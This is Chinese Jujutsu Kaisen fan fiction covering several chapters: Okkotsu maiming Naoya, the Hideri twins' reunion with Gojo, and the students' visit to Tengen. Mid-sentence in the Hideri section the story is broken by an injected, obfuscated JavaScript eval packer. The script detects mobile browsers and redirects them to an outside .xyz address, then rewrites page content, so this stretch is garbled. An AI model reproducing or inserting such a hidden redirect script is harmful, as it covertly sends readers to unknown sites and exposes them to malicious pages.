“乙骨......?啊!这个名字伏黑提过!他说过是值得尊敬的二年级前辈!”虎杖悠仁终于想起这个耳熟的名字究竟是从哪里听过了。 “啊、伏黑同学他这么说过吗?”刚才还杀气腾腾的白色死神突然变了一副模样,手中的刀也不由自主地放下,面无表情的脸上露出了一个略显僵硬和谦逊的微笑。 “是!交流会的时候就听说乙骨前辈去年自己打赢了交流赛,真的好厉害!”虎杖悠仁海豹鼓掌,一旁的胀相尚未对乙骨忧太放下戒心。 乙骨忧太显得更不好意思了,腼腆地欠了欠身,说道:“被后辈这么夸奖还是第一次,虎杖同学也是,很厉害呢。” 被忽视的禅院直哉不快地撇了撇嘴角。要先撤退了,真不爽啊,是悟君要求乙骨来找虎杖悠仁的吧?不愧是他,考虑得很周全。 就在他脚步后撤,准备动用术式的时候,乙骨忧太的眼睛再一次盯住了禅院直哉,嘴角两侧出现了同心圆状的咒纹。 “蛇眼与獠牙!?”意识到不妙的禅院直哉根本没有反应的时间,比【投射咒法】更快生效的是乙骨忧太的术式效果。 “不许动。” 蕴含着咒力的语言通过鼓膜直达大脑,瞬间僵硬的躯体让禅院直哉只能呆愣在原地看着乙骨忧太的尖刀刺向自己。 乙骨忧太怎么敢!!他禅院直哉可是禅院家家主的儿子!! 禅院直哉目眦欲裂,可无论他如何驱动咒力,身体依旧臣服于咒言的术式效果,纹丝不动。 在虎杖悠仁和胀相的注视下,乙骨忧太削掉了禅院直哉一只手掌。 那只断掌还没落地,禅院直哉脚边就出现了一团张开的黑影,纯白的巨大咒灵张口将断掌吞了下去。 “咯——!!” 断手的痛苦几乎刹那间爬满了禅院直哉的脑海,可他死咬着牙不肯痛呼出声,哪怕牙龈丝丝冒血,也死守着最后的自傲。 断掌被吞噬之后,咒言的术式效果也同时结束,禅院直哉面目狰狞地咆哮道:“你这混蛋......你疯了吗?敢对我出手!?” 他给手掌的断口处止血,双目通红地盯着退回虎杖悠仁身边的乙骨忧太。 “再怎么说,我还是不太适应这种角色啊,”乙骨忧太用只有身边人才能听到的声音喃喃道,然后对着暴怒的禅院直哉说,“老师说,这是‘见面礼’。劝你打消惠的念头,赶紧开发一下【投射咒法】的新用法吧,毕竟你只有一只手掌了。” 末了,他又怕有什么误会似的补了一句:“五条老师是这么说的。” “嘁——”嘴角渗出血色的禅院直哉不肯再在这群家伙面前露出狼狈的姿态,发动术式消失在了原地。 “哦!不见了!”在整场针锋相对中充当氛围组的虎杖悠仁将手掌搭在眉间,四下瞭望。 “老师也真是的,”乙骨忧太将刀放回刀鞘中,露出谦逊的笑容,“虎杖同学,还有......” “啊、他是胀相,”虎杖悠仁看了看胀相,又转开了脸,“姑且算是,我的哥哥吧。” 快乐到头发立刻炸开的胀相:“悠仁——!!” 乙骨忧太在心中吐槽这对奇特的“兄弟”之后说起了正事:“虎杖同学,我能这么快赶到是因为五条老师提前将你托付给我照顾,但是之后如何行动,你有什么想法吗?” 虎杖悠仁露出苦恼的表情。在涩谷事变的最后,他没能阻止敌人带走狱门疆,也没能阻止加茂宪伦带走那个装着【无下限咒术】的人手咒物。而且,他还差点让宿傩—— “虎杖同学?虽然我是相信五条老师的啦,但是我们还是不要拖太久比较好,”乙骨忧太呼唤回了虎杖悠仁的思绪,见他没有说话,就顺势说出了自己的计划,“我已经联系上了伏黑同学,他会在晚上过来与我们汇合。” ——“你也知道,五条老师现在失去了【无下限咒术】,封印着夏油老师的狱门疆下落不明,我们得尽快想出解决办法。” —— 日照来到了熟悉的公寓楼下。 阔别十多年,周围的区域全部都更新换代,只有这一栋楼依旧采用着过去的旧色砖瓦,生命力旺盛的爬山虎已经长满了整面墙壁,甚至遮住了楼道的窗户。 楼对面的小公园变成了一片绿地。 “怎么,你居然也会近乡情怯?” 日照罕见地没有回嘴和他吵起来。 “倒也......罢了,只是算算咱们有多久没回来了。” 他耸耸肩,走上楼梯,迈过不用数就知道要走多少步的楼梯,来到了一扇门前。拿出在废墟中随手捡的一把钥匙,日照将明显比锁孔小了一圈的铜黄钥匙插了进去。 扭动,伴随着“咔嚓”一声,门被打开了。 “呦——真是好久不见了呢,”熟悉的轻佻声线从客厅里传来,五条悟的白毛比他本人先一步从墙后冒出,无限接近天穹的苍蓝之瞳随后看了过来,“欢迎回来,弥山,星海。” 3. 启程 “怎么?太久没有见到本人,现在感动得要哭出来了吗?你们应该还没见过身为超级教师五条的我吧?” 五条悟坐在客厅的椅子上,翘着一条凳子腿,一晃一晃地从玄关的墙后露出头来。 这里的一切布置都和日照离开前一模一样,但一些物件经历的十多年的岁月,终究在它们的表面留下了时间施加的痕迹。几乎刻入身体本能,日照脱下鞋子摆放在了鞋柜的第二层。第三层空荡荡的,贴着地面的那一层则堆着五条悟的鞋。那歪七扭八纠缠在一起的两只鞋子一看就是他随脚脱下来丢进去的,不过考虑到当时可能的状况,对方还记得脱鞋就已经值得表扬了。 “你省省吧,要哭出来也得是见到杰才可能吧?”从玄关来到客厅,日照就顺应着身体记忆,网球袋甩到沙发熟悉的凹陷处,棒球服挂到老到掉牙的衣帽架上,然后一屁股坐进了沙发里。 现在日照和五条悟两人占据着客厅的两个角落。 一时间谁也没有率先开口说话。 “我要喝咖啡。”拯救这该死的重逢氛围的是开在日照脸颊上的嘴巴。 “是是。”日照任劳任怨地起身走去厨房。 五条悟终于正正经经地坐好了,放弃了他那危险的动作,目光追随着与十多年前相差无几的背影:“啊,不过还真是神奇,受肉还有驻颜美容的效果吗?悠仁之后不会也不长了吧?那孩子本来应该能长得更壮实一些才对。” 日照拉开橱柜:“总感觉你自己在跃跃欲试。” 五条悟磨磨蹭蹭地跟到了厨房门口,看着日照在屋里翻箱倒柜:“伴手礼呢?你都欠了我十多年了!” “又不是小孩子,应该知道甜品放了两天会变成什么样吧?”日照头也不抬地继续翻找。 没有了眼罩束缚,五条悟的白发随性地垂在脑袋旁,后脑的发丝因为接触着墙面而立起,又被主人毫不在意地捋平。 “用你的术式不就好了,至少在消失之前我还能过个嘴瘾。” “否定,没有无下限你真的会长蛀牙。” “嘁。” 日照忽然抬起头,郑重道:“悟,我的咖啡去哪里了?” “右边第二个柜子的第二层最里面。” 五条悟头也不抬地走了,他蹭过来仿佛就是为了欣赏日照在自己家却找不到东西的窘迫和看看能不能蹭到一块蛋糕吃。两样期待都落空之后,找不到乐子的大白猫趴到了沙发上,瘫成了猫条。 客厅里时不时传来抱怨声:“某人十多年不回来,东西怎么还可能和以前放的位置一模一样啊~” 日照按照五条悟的指引,成功找到了咖啡粉。 “什么啊,我可不喝速……” 日照手动闭麦,用一看就是提前准备好的温开水冲了一杯速溶咖啡端了出去。 他心里清楚,这家伙不是真的想喝咖啡,只是找个借口让他和五条悟有话说而已。 “你去找天元了?”已经完全把这里当成自己家,随心所欲占据地盘的五条悟将沙发遮得严严实实,把日照赶到了餐桌旁。 “嗯,我去了。”日照大方承认。 五条悟没有继续追问的意思,客厅里一时间又冷场了。日照转转眼睛,视线落在了玄关。 “悟,你的伤都治好了?” 玄关靠近门口的地方放了一个垃圾袋,里面隐约能看到几件染血的衬衫和衣裤。对方身上现在套的这件明显不太合身,手脚都短上一小节,应该是五条悟从存放在衣柜里的旧衣服里找出来的。 “当然了,我可是最强啊。而且那又不都是我的血。”对方的声音闷闷的,不禁会让人产生“最强会不会把自己闷死在沙发里”的奇葩想法。 “是是,我们最强的超级教师五条悟,让我看看。” “……你在哄小孩吗?” “是星海非让我这么干的啦,快把手伸出来吧。” 日照拉着比他高了半头的五条悟,艰难地就着对方不配合的姿态用反转术式又给他换新了一遍。总觉得他说话不太可信啊,尤其是在吃穿用度这方面,虽然根本不像是会亏待自己的人,但被夺走术式、挚友在眼前被封印,就算是最强也会有一些消沉的吧? 五条悟:反对!我可是很坚强的! “半夜打国际长途找知心哥哥求助的硬撑小鬼?” 五条悟迅速反击:“连杰养小孩都不知道的知~心~哥哥?而且你提的那是正经建议吗?” “……我长话短说了。我们今天会出发,一边赚取分数一边去找一个拥有特殊术式的古代受肉术师,她的术式可以解开狱门疆的封印。悟的话,就负责去找狱门疆·表吧,时间就定在11月6日24点,超过这个时间,只要我找到那个古代术师,就会立即让她解除封印。如果在那之前我找到她,就想办法带她回高专,等你回来。在那之后,悟你......我来负责找回你的术式,虽然想说悟你可以待在这里什么都不干好好休息,但你又不会听,所以随便你吧。” 这是日照一早就定好的计划,为此他曾在涩谷事变发生的当晚立即启程强行进入结界见到了天元,取走了狱门疆·里。 这的确是依据目前位置的情况所能想出的最优解。他们人数有限,还受限于死灭洄游这个游戏,所以落入敌人手中、封印着夏油杰的狱门疆是最应该优先解决的问题。 这个计划的大前提是夏油杰还活着,不过在场的两人都默契地略去了这一点。 “你们发过来的短信里的事也都搞定了,不过我想你应该已经知道了。” 五条悟转头,略微张长了一些的细碎白发间半露出一只苍蓝色的眼睛:“真可靠呢,弥山。” 日照听到“可靠”二字,非但没有产生半分被信赖的自豪,反倒是面带八分嫌弃两分不解的表情叹道:“说说吧,狱门疆是怎么回事?是谁跟我说自己听得耳朵都要起茧子了?为什么还会变成这种状况?” “这个嘛,总之发生了很多——”五条悟嗖地一声从沙发上坐了起来,手指下意识地去扒拉经常佩戴的眼罩,却扒了个空,“星海,你在听吗?” “怎么?” 五条悟学着JK的模样,狡黠地眨了眨眼睛:“做好准备!因为那个人把星海的尸骸带过来了所以杰他完全呆住了呢简言之就是他直接气炸了把弥山的叮嘱全——部抛到耳后去了呢!” 日照在听到前半句之后差点直接从凳子上跳起来,但是整个人又忽然断电了一样坐了回去。 及时进入附身状态的日照星海听着心中生得领域里另一人的怒吼,端起桌面上的速溶咖啡喝了一口,评价道:“跟夏油一个德性。” “可怕可怕~”在弥山面前告杰的状,目标达成!五条悟在心里给自己点了一个赞。 日照星海发了一会儿呆,五条悟撑着下巴等待。两分钟后,占据着自己兄弟躯壳的日照星海抬眼看向五条悟:“他睡了,你叫我出来干什么?” 五条悟张大了眼睛,试图用六眼看穿流淌在那具身体里的咒力:“真的吗?你们兄弟合起伙来骗人的时候就连我都会被骗过去哦!” 日照星海:“......那我回去了。” “开玩笑的啦~” 五条悟知道日照弥山肯定也在听,终于正经起来:“那个缝合线,估计是用什么方法将你的尸骸一直保存至今,可能是冰冻或者什么乱七八糟的封印。能够夺走他人术式的人手咒物估计也是当时用你的手做成的,只是看一眼就让人汗毛倒竖的恶心呢。” 日照星海有一搭没一搭地喝着有点凉了的咖啡,似乎对于自己的尸体被亵渎的事情毫不在意。 “星海?在想什么呢?” “在想原来我的术式真的能做到这一点。”日照星海摊开手掌。 五条悟没再说话。在六眼的眼里,眼前人的咒力已经完全区分不出“弥山”与“星海”了,他们二人就像是在母体的腹中孕育时那样,字面意义上融为了一体。 完全混在一起了啊......要是把他和杰关在一具身体里十多年,他俩迟早得死一个。两个完全不同的个体连灵魂都交融在一起,没有一个拥有独立人格的人能够容忍自己的思维被另一人无法拒绝地同化。就算他们是形影不离的双生子、彼此的半身。 他们越来越像,却在五条悟的记忆里变得陌生起来。 “……难道是总待在深山老林里的原因?我早就说过了,要多多接触人啊!出国旅游的机会那么宝贵,你们居然还不懂得珍惜,真是太让人惋惜了~” 日照星海瞥了他一眼,见咖啡见底之后,起身去卧室的衣柜里翻有没有合适的衣服:“还有什么要跟我说的吗?待会儿我回去了。” “没有啦!” “......做你的学生还真是辛苦啊,五条。”日照星海由衷地敬佩五条悟的学生和同僚们,尤其是掌管“问题儿童大本营”的校长夜蛾正道。 “爱骗人的家伙才没资格说我吧?弥山真的睡着了吗?你这是要去洗澡吗?” 日照星海将跟在他身后长手长腿的五条悟推出了浴室,然后锁上了门,无视五条悟在门外闹出的动静,自顾自地脱了个精光,将眼罩甩在水池旁,打开开关站在花洒下。他也不管是冷水还是热水,在水流涌出打湿头发之后,他和日照弥山换了回来。 五条悟听着里面的水声,倒数3秒钟。 “......” “日照星海!!你有病吧!?”浴室里传来伴随着呛咳的怒吼,最后认命般地熄了火。日照挤出了点摆放在浴室里的洗发液在手里。 “说起来,弥山你们已经见过悠仁了吧?怎么样,悠仁是个好孩子吧?”曲起指节敲了敲泛起水雾的浴室门,五条悟的声音在哗啦啦的水声中传入日照的耳朵里。 日照在头发上搓出泡沫:“他啊。作为‘容器’确实很优秀,被叫醒之后马上就把两面宿傩压回去了。” 五条悟又笑了两声:“我和杰的学生们都很优秀哦,希望弥山你能多多关照他们呢。” 浴室里的人半天没有说话,就在五条悟想敲门的时候,日照的声音传了过来:“照顾他人可是很累的。” “我懂我懂,照顾杰也是很累的嘛~” 日照额头冒出青筋,明明是每次给你这个来他家白吃白喝还到处掉毛的小黑墨镜收拾烂摊子更累人好吧!? 他忿忿不平地将头伸到花洒下面,让水流带走脑袋上因为五条悟生出的“怒火”。 五条悟一直等在门外,直到日照喊:“知道了知道了,袋子里有零食,吃完滚去卧室睡觉!净说多余的事。” “那就多谢啦!弥~山~我保证,你会喜欢他们的!” “——不许那么叫我!!给我用敬语啊!!” 五条悟捞过日照的网球袋,打开一看:“嚯,你都带了些什么东西啊?” 浴室里传来警告声:“别乱翻!” “知道知道!” 五条悟从一堆杂七杂八的东西中拎出了一个袋子,打开一看是一堆软到粘手的糖果和两块酥皮蛋挞,还有几个没过保质期的红豆面包。 他心情很好地拆开包装,叼着面包进屋了。 日照听着外面的声音逐渐归于寂静,冲掉头上的泡沫。死灭洄游的结界虽然阻断了通讯,但没有切断电力。政府考虑到滞留在结界内的民众,还在尽量维持着连通结界内的电路。托这个的福,日照现在还能洗到热水澡。他走到被水汽模糊了的镜子前,擦出了一片区域。 熟悉又陌生的脸。镜子里的人眼下有着睡眠不足带来的青黑,下巴上冒出青色的胡茬,头发有些长了,他有一段日子没有好好打理过它们。 那双眼睛——左眼里像是塞了颗黑葡萄一样油亮,右边乍一看像是混浊的白瞳,但细看之下是混着点灰、淡到不能再淡的蓝。狰狞的伤疤失去了眼罩的遮挡,张牙舞爪地露了出来。包裹着整只右眼、延伸到太阳穴边的疤痕凹凸不平,但颜色却陈旧得很。 脖子上没被摘掉的黑色绳编项链吸饱了水。 被抹掉的水汽在手掌的搓磨下变成水道,被捻平摁在镜子上,让镜子里的人轮廓边缘出现了细微的扭曲。 日照双手撑着水池边,突然深深低下了头。手指勾到了眼罩,又被他攥进掌心。 等日照将这几天到处奔波留下痕迹洗掉之后,他顶着一头湿漉漉的头发走了出来。他身上穿了一件无袖上衣,下身还是熟悉的直筒裤,一边走一边套上了棒球服。 这里曾经是他和星海共同居住过的家。五条悟不常在这里住,他只是隔三差五凑过来吃晚饭,然后撒泼打滚说太晚了想在这里睡,日照每次都会被他吵到同意。再后来,杂物间被改成了五条悟留宿专用。 日照用星海的术式将头发弄干,发现五条悟乖乖去次卧睡觉了,他索性就坐在客厅的沙发上扒拉小金,顺便梳理一下情报。 卧室里的人应该已经睡熟了,日照听说五条悟平常的社畜生活每天只睡三个小时左右,没时间睡觉就用反转术式刷新大脑。他对五条悟和夏油杰选择的生活方式不置可否,还记得的也只是路过便利店的时候进去看看还有没有没被搜刮走的高热量食品,给白发劳模带点过来。 六眼是五条家独有的特异体质,数百年一例,能够识破对象的术式、探知咒力,实现精细的咒力操作。但同样的,全天候开启、无法自主控制开闭的六眼也给术师本人带来了极大的脑力和体力消耗。在无法随意摄入糖分的特殊时间,人类最原始休息的方式——睡觉,就成为了首选。而有日照在外屋,五条悟终于可以什么都不用想,抓紧一切时间恢复体力。 六眼的加持是完美掌握【无下限咒术】不可或缺的天赋,五条悟正是凭借六眼、【无下限咒术】,以及学会反转术式后举一反三掌握正极能量的操作,一举成为现代咒术界的最强。 然而现在,最强失去了【无下限咒术】。 “小金,我现在有多少分?” “泳者日照弥山,分数:23分!!” 在来这边的路上,日照解决了几个徘徊在附近的术师。 没有了【无下限咒术】,最强还会是最强吗?日照想起一个诅咒师濒死前的狂言。 他那时听到那人的话当场笑了出来,随口说了句:“谁知道呢。” 五条悟在涩谷事变中大闹了一场,门口那堆带血的衣服就是最好的佐证。这处房间虽然经过了夏油杰的改造,设立了简易的结界术,但觉醒的古代术师们的力量也不容小觑,五条悟用反转术式修复自身伤势后也没有睡觉,而是强挺着等日照回来吧? “......” 日照学着五条悟的样子往沙发上一瘫:“真麻烦呐。” 结界内没有手机信号,但五条悟应该有方法和外界取得联系。在日照前往高专后,他的手机曾接到过一条未知短讯。 ##已送达 2018年11月1日,0时23分。五条先生进入东京第1结界。 目前的计划,首要任务是解封夏油杰,然后是找回五条悟的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137734|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 术式。在为了达成自己的目的而行动之前,日照还是有时间来做些别的事情的。 日照还要找一个人。一个名叫“万”的古代术师,她的术式应该算得上是古今最强的构筑术式,只有她才能帮日照制作出他最需要的一样咒具。 他拿起桌子上的游戏手柄摆弄了两下,打开电视机随便点了一个游戏,结果因为打不过悻悻退出,找嘲笑他的星海线下PK去了。 —— 2018年11月2日,23时28分。 五条悟从沉眠中醒来,看了眼时间。 “......这就走了啊,亏我把手柄放在那么显眼的地方,他这都没玩吗?真是的,弥山居然已经过了熬夜打游戏的年纪吗?”屋外已经空无一人,只有尚且温热着的沙发残留着第二人曾在这里久坐的痕迹,还有五条悟的喃喃自语:“总不会是打不过吧?他那么喜欢马里奥,应该也挺喜欢猫里奥才对?” 结界外某地。 虎杖悠仁和胀相找了一处开阔的天台,看着乙骨忧太从兜里掏出了一个圆形的机械装置。 “哦哦!这不是机械丸吗?” 虎杖悠仁一眼就认出了这个棕色的小圆盘就是京都校2年级的机械丸,在涩谷事变中对方就是使用这个小东西帮助他们传递消息,告知了他们五条悟和夏油杰发生的意外状况。 机械丸原名与幸吉,拥有天与咒缚。他天生就没有右手和膝盖以下的肉|体,下半身没有知觉,皮肤脆弱得连月光都能灼伤,常年躺在不见日光的地下室内泡营养液,还要忍受着全身针扎样的疼痛。 这般代价换来的就是他的术式【傀儡操术】广阔到足以覆盖全国的术式范围,以及可随意支配的、从他出生起积攒到现在的庞大咒力。严格来说,机械丸应该“曾经”是京都校2年级的学生,现在他是一名被开除了学籍、并被列入诅咒师名单的“在逃人员”。 在今年的姊妹校交流会时发生的咒灵袭击事件中,机械丸扮演了“内鬼”的角色与咒灵达成了“束缚”,并通过真人的术式【无为转变】获得了全新的肉|体。天与咒缚作为“束缚”的一种,机械丸获得了新的身体,那么这些年承受痛苦而获得的强大术式效果很快就会消失,他也不再能够储存咒力。 而机械丸和真人都明白,他们之间的“束缚”一旦完成,双方都不会轻易放对方离开。 “机械丸有好好感谢夏油老师吗?如果不是他及时赶到,机械丸你恐怕就要被真人杀死了。”虎杖悠仁戳了戳小号机械丸。 “......” 虽然侥幸活了下来,但机械丸依旧因为和咒灵之间进行合作而被逐出了咒术界,目前被五条悟安排在秘密地点接受保护,同时利用哪怕术式范围小了不少、但依旧强力的【傀儡操术】为五条悟和夏油杰一派的人提供帮助。涩谷事变后,在这里接受保护的多了一个三轮霞。 ——“哈哈,我是没用的三轮,因为在向涩谷事变主谋挥刀的时候给自己加了一个‘以后再也不挥刀’的‘束缚’,所以现在只能来这里当保镖了!我的体术应该、大概也没那么没用吧?” 她是这么说的。 “等解开狱门疆之后,我会再次向他道谢的。伏黑来了。”机械丸说道。 “虎杖。” 虎杖悠仁闻言转头,看到来人之后脸上的表情生动了不少:“哦!伏黑!看到你还这么精神真是太好了!” 伏黑惠一言难尽道:“多少有点紧张感啊!你还打算在这里待多久?走了,我们要先回高专去和前辈们汇合。” 一反常态地,虎杖悠仁的情绪低落了下去,平常总是洋溢着笑容的嘴角也被拉平,嘴角的伤疤在拉扯中坠落。 但他这人实在太好懂,所以伏黑惠和乙骨忧太几乎同时猜到了他会说什么:“......别说的好像什么都没发生过一样啊!!” “‘我’在涩谷杀了很多人!!很多很多人。最后要不是......会死更多的人。” 原来是因为在意这个才在涩谷事变结束后与熊猫同学他们分开的吗?乙骨忧太看着这个和一年前的他很相似的后辈,他们都背负着很沉重的力量与责任,但与自己不同的是,虎杖悠仁不是主动背负的,这个责任也不应该由他来承担:“这不是你的错。” 胀相看着弟弟,开始自责为什么自己会受到加茂宪伦的蛊惑,为什么没能早点认出虎杖悠仁,为什么在他最需要自己的时候没能赶去保护他。他这样的兄长,真是做得太失败了! 想要赋予他人正确的死亡,这个念头在虎杖悠仁迈入咒术界的7个月后被涩谷事变搓圆揉扁,已经破烂成了连他自己都拼不回去的碎片。 他必须要继续活着——因为他还没能吸收掉所有“宿傩的手指”,他还不能带着全部的宿傩下地狱。 但我活着真的是正确的吗——因为他的失控,无数人在宿傩战斗时随手砍出的斩击下化为血沫,那些被砍断的大楼中又装着多少人呢?他们连自己为什么会死都搞不明白,就在宛如天灾来临的战斗余波中从高楼坠亡。 伏黑惠叹了口气,他就知道这家伙会这么说:“这是‘我们’的错,你自己在那里自怨自艾个什么劲啊!” 黑发像海胆一样炸着的酷哥将手放在脖颈后:“我们是咒术师,又不是能够拯救所有人的正义的伙伴,能做的也只是力所能及的事情而已。” 随后,他放下手,正视伙伴动摇的眼睛。 “所以,虎杖。请你先救救我吧。” 爷爷的话又在虎杖悠仁的耳边响起。 ——要去帮助他人。 虎杖悠仁深吸了一口气,再次抬起脸时,坚毅代替了原先的动摇:“我知道了。先简单说明一下情况吧,伏黑哥!话说为什么我会被通缉啊!?” 看着恢复正常的虎杖悠仁,伏黑惠稍稍松了一口气:“别用那个称呼叫我,揍你哦?” 他向这几天根本没关注外面究竟发生了什么、只一心消灭游荡在街头的咒灵的虎杖悠仁解释了由加茂宪伦开启的生死游戏死灭洄游。 “我的姐姐津美纪也被卷进来了,所以我需要你的力量,虎杖。” 有伏黑惠的解释,虎杖悠仁终于明白了现状。 “乙骨前辈,”他向在场所有人中带给他的感觉最像五条悟的白色死神发出了处刑人的请求,“上次是因为我受伤失去了意识,又一次性吞入10根手指才让两宿傩有机会出来的。我想下次再吸收手指,应该不会再失去控制权,但如果我失控了,希望乙骨前辈能够将我处刑。” 乙骨忧太应下:“交给我吧,我会保证做到的。” “还有,宿傩似乎想利用伏黑做什么事,伏黑你有什么想法吗?” “我也搞不明白啊,总之一切小心就对了。” “那我就没问题了,接下来我们怎么做?”虎杖悠仁重新找回了干劲。 伏黑惠:“首先回高专和前辈们汇合,然后去见天元大人,询问有关加茂宪伦的线索、今后的态度以及解封狱门疆的办法。五条老师......算了,那家伙在想什么只有他自己知道,而且他现在没有【无下限咒术】,要一边做事一边保护我们也太难为人了。虽然这么说很肉麻,但......” “......作为学生,偶尔也是想要让老师稍微轻松一点的。”乙骨忧太替他补上了后半句。 “好哦!”虎杖悠仁表示无条件支持。 2018年11月2日,23时46分,虎杖悠仁一行启程前往东京高专。 4. 先驰得点 “不过,为什么我的死刑又被提上来了?” 几个人坐着由机械丸操控的特制·机械丸号电力三轮车,赶往位于筵山山麓的东京都立咒术高等专门学校。 “因为上面的烂橘子们觉得五条老师没有了【无下限咒术】就不再是最强了吧?不过虎杖同学你不用太过在意,估计除了禅院和加茂家的一些老古董,其他人都会当他们在放屁吧?”乙骨忧太坐在三轮车的车斗里,面对迎面而来的狂风保持微笑。 “哦,是这样吗......”感觉问了和没问一样啊,而且原来乙骨前辈是这种类型的吗?一脸和蔼地说出了了不得的话啊! 自动驾驶的三轮车在盘山公路上飞驰,胀相扒着车把缩着腿坐在驾驶位,剩下的三人里,一个虎杖悠仁凭借超绝肉|体硬抗堪比十级大风的抽打,一个乙骨忧太凭借超高咒力量强化身体坐得稳如泰山,只有伤刚好一点就出来各种找人的伏黑惠用手攥着身高10厘米的栏杆在风中凌乱。 下车的时候,虎杖悠仁又来了一句:“啊、伏黑你的头发更蓬松了诶!” 于是当他们走进虎杖悠仁曾经看电影训练咒力操作的地下室时,虎杖悠仁的头上顶着一个大包向地下室里的其他人元气满满地打招呼:“真希前辈!七海海!还有钉崎!再次见到你们真的太开心了!” 禅院真希的发绳在战斗中断开了,她当时就给自己削了一个短发,比禅院真依的短发更短一些。 钉崎野蔷薇和禅院真希一同坐在沙发上,向他摆摆手:“你也是,虎杖。伏黑你的头发......噗噗!” 伏黑惠:“再说我真的要揍人了!” 在场唯一靠谱的成年人七海建人:“虎杖同学,你能平安回来比什么都好。” 在涩谷之战的末尾赶到,和众人一同回到高专的九十九由基被无视了个彻底。也难怪,除了与她曾打过交道的一些高等级术师,现在的年轻一代也只在提起四大特级术师的时候会想起她,而且因为这些年一直待在国外的原因,现在咒术界大部分人对她的印象就是“虽然身为特级但一直待在国外游手好闲不接任务的家伙”。 “惠,你找我们来不是要说天元结界的事情吗?”禅院真希问道。 胀相接过了解释的工作:“这个就由我来说明吧。” 此刻聚集在高专地下室的众人只有一个目的,那就是进入位于高专结界内部的天元居所——薨星宫。 这个国家自古以来由布满国内主要地点的结界秘密守护着。拥有【不死】的术式,长久以来成为主要结界中枢的咒术师就是天元。天元在境内设置了多处净界(高等级结界),目的是抑制咒灵的出现与大幅提升辅助监督们的结界术精度。曾是东京迁都候选地——高专地下的薨星宫净界就是全国最重要的四处净界之一。 东京咒高呈现在外人面前的大多数寺社佛阁都是虚像,且每天都会在天元结界术的影响下交换配置。所有的虚像中有超过1000扇门,其中只有一扇的后面通往薨星宫。 在交流会时,咒灵们找到正确的门的方法是利用高专收纳高危险度咒物的“忌库”。类似“宿傩的手指”,只要在其上打上不容易被发现和消除的残秽,咒物被放进忌库后,咒灵们就可以通过感应得知门的正确位置。 “高专的忌库也在那扇门后,在通往薨星宫的途中。我的弟弟们也在忌库中,我可以感知到他们的存在。” 也就是说有胀相在,他们根本不必去费力挨个寻找正确的门,极大地减少了浪费的时间。 “Good!事不宜迟,那我们现在就出发吧!”九十九由基率先站起身。 “稍等,九十九小姐,”七海建人和钉崎野蔷薇站在一旁,“我和钉崎同学就不进去了,虽说是在高专境内,还是需要留一些人做好准备。钉崎也需要去找家入小姐治疗,刚才是因为家入小姐那边太忙碌所以才先来这边的。” “你受伤了吗!钉崎?” “嘁,回来的路上为了救一个小鬼头大意了,喂,等本小姐回来你要一五一十地把那个什么天元大人说的情报汇报给我啊!” “好!交给我们吧!七海海!钉崎!” “......你兴奋个什么劲啊。” 九十九由基是偷偷潜入高专的,所以认同七海建人提出的计划。哪怕东京咒高是五条派的大本营,她也不敢轻易暴露自己。而且这么多年了,家入硝子几乎成了咒术界专用医生,谁叫她的反转术式那么特殊,可以治疗他人呢?这两天应该累坏了吧?想到这里,她又习以为常地对咒术总监部鄙夷了一番。全日本有那么多人,每年收入两所高专和各个分校的学生却只有寥寥数十个,这还是五条悟和夏油杰他们努力多年的成果。 那群保守派老头总爱找各种理由维持他们可笑的“传统”,九十九由基还记得东京咒高有两个三年级好像就是因为术式的原因和保守派起了冲突,现在在停学中来着。 —— 2018年11月3日,17时。 他们看到了参天的古木。这里的一切都让人感到十分矛盾,这些古树昂扬向上地生长,枝干却如同枯死的老树,没有一点生机。“生”与“死”在这里以一种可笑又怪异的状态混沌在了一起,让人不寒而栗。 “前面就是......”虎杖悠仁吞咽了一下,浑身生出一些紧张感来。经过忌库之后,他们乘坐升降梯来到了最下层,在九十九由基的带领下穿过了由无数外表是普通的和室、其实本质是“空性结界”组成的迷宫,抵达了本殿中央耸立的御神木下。 “嗯。那就是天元大人的居所,也是所有结界的基底,薨星宫。”伏黑惠跟在虎杖悠仁的身后,最终进入地下的只有他们两人加上禅院真希、乙骨忧太、胀相和九十九由基。 “......” 众人无言地看着出现在他们眼前的......生物。称祂为人,那么生物学家估计怎么都想不明白祂的第二双眼睛是怎么长出来的。 “欢迎你们,宿傩的容器、禅院家的子嗣、道真的血脉、咒胎九相图,还有......曾经的星浆体。” 随着天元开口,一路上本就按捺着不爽心情的九十九由基开口讽刺道:“我还以为你会封闭薨星宫,彻底地不问世事呢。” 天元没有在意她的不敬:“说说你们的来意吧。” “啧。”九十九由基单手叉腰。 为了不浪费时间在不必要的对话上,乙骨忧太举手发问:“那个,我们是来问打败加茂宪伦、解封狱门疆的方法,以及狱门疆和夺走【无下限咒术】的人手咒物的下落,可以请您告知您知晓的情况吗?” 天元通常不问世事,但祂也的确配得上“全知的术师”这一称号。覆盖日本的结界由天元设立,祂能够知晓结界内发生的一切。 “可以,但我有两个要求,”形如咒灵、已经完全脱离人类范畴的不死术师开口道,“第一,乙骨忧太、咒胎九相图、九十九由基,你们三人中留下两人做我的护卫。第二,你们要尽量确保日照弥山的生命安全,如果他死亡,也要当场将他的尸体火化。” “......!!” “啊、第一个还好理解,不过第二个要求是什么鬼啊?”虎杖悠仁吐槽道。 伏黑惠觉得自己记忆深处的某些景象被触动了:“日照......这个名字我在哪里听过。” “为什么?你是怕加茂宪伦夺走他的身体吗?”九十九由基皱起眉。 天元回道:“一方面是这样的。” 日照弥山,是早些年在东京咒高活跃的日照双子中的一个......他的术式应该类似强化一类的,没什么特别之处,他本人的咒力量也不充足,比起曾经双子中的另一个可以说是流萤与月光的差别。唯一值得说道的就是他从2003年发生在冲绳海岸的“熔海事件”中幸存了下来,是那场惨剧中的唯一幸存者。 九十九由基在脑中迅速找回了有关日照弥山的点滴记忆,她依稀记得对方在当年的事件过后就杳无音讯,不知具体去向。不过这并不妨碍她在口头上刺激天元。 